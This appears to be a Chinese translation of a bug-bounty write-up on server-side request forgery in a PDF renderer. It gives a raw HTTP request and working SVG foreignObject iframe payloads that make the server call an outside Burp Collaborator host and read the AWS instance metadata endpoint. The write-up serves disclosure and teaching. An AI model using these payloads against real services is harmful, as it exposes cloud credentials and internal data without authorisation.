原文:
https://pwn.vg/articles/2021-05/ssrf-in-pdf-renderer-using-svg
这篇文章的一些信息,如目标URL,端点,和其他几个类似的点由于保护隐私而被修改。
不久前,我有机会在Bugcrowd的一个私人项目中挖漏洞。在这个项目中,有一个具有各种功能的复杂应用程序。其中一个亮点是将对象从SVG转换为PDF、JPG、PNG文件。
当我发现一个功能可以从用户输入的数据创建pdf时,我立即进行了一个实验,通过更改发送到包含iframe标记的HTML中的SVG代码来执行SSRF攻击,该标记被定向到Burp Collaborator。
POST /convert HTTP/2
Host: target.com
Cookie: -
Content-Length: -
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Dnt: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqBdAsEtYaBjTArl3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6,ms;q=0.5
Connection: close
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="svg"
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
但不幸的是,服务器响应一个错误消息。
{"message": "Error when converting data."}
看起来服务器只能处理有效SVG文件的输入。
在google上搜索之后,我发现我们可以使用名为foreignObject的元素将HTML代码嵌入到SVG代码中。
SVG元素包括来自不同XML名称空间的元素。在浏览器的上下文中,它最有可能是(X)HTML。
来源:https://developer.mozilla.org/en-US/docs/Web/SVG/Element/foreignObject
所以我把有效载荷改成这样:
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500"><g><foreignObject width="800" height="500"><body xmlns="http://www.w3.org/1999/xhtml"><iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe></body></foreignObject></g> </svg>
在找到Burp Collaborator Client之后,我检查了使用的IP地址,结果发现该应用程序使用Amazon Web Service,并且从User-agent中我注意到是使用PhantomJS呈现的。
所以我修改了有效负载以提取AWS实例上的元数据。
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500"><g><foreignObject width="800" height="500"><body xmlns="http://www.w3.org/1999/xhtml"><iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe></body></foreignObject></g> </svg>
成功获取元数据。

我立即报告了这一发现,标记为P1,并获得了2150美元的奖励。
本文迁移自知识星球“火线Zone”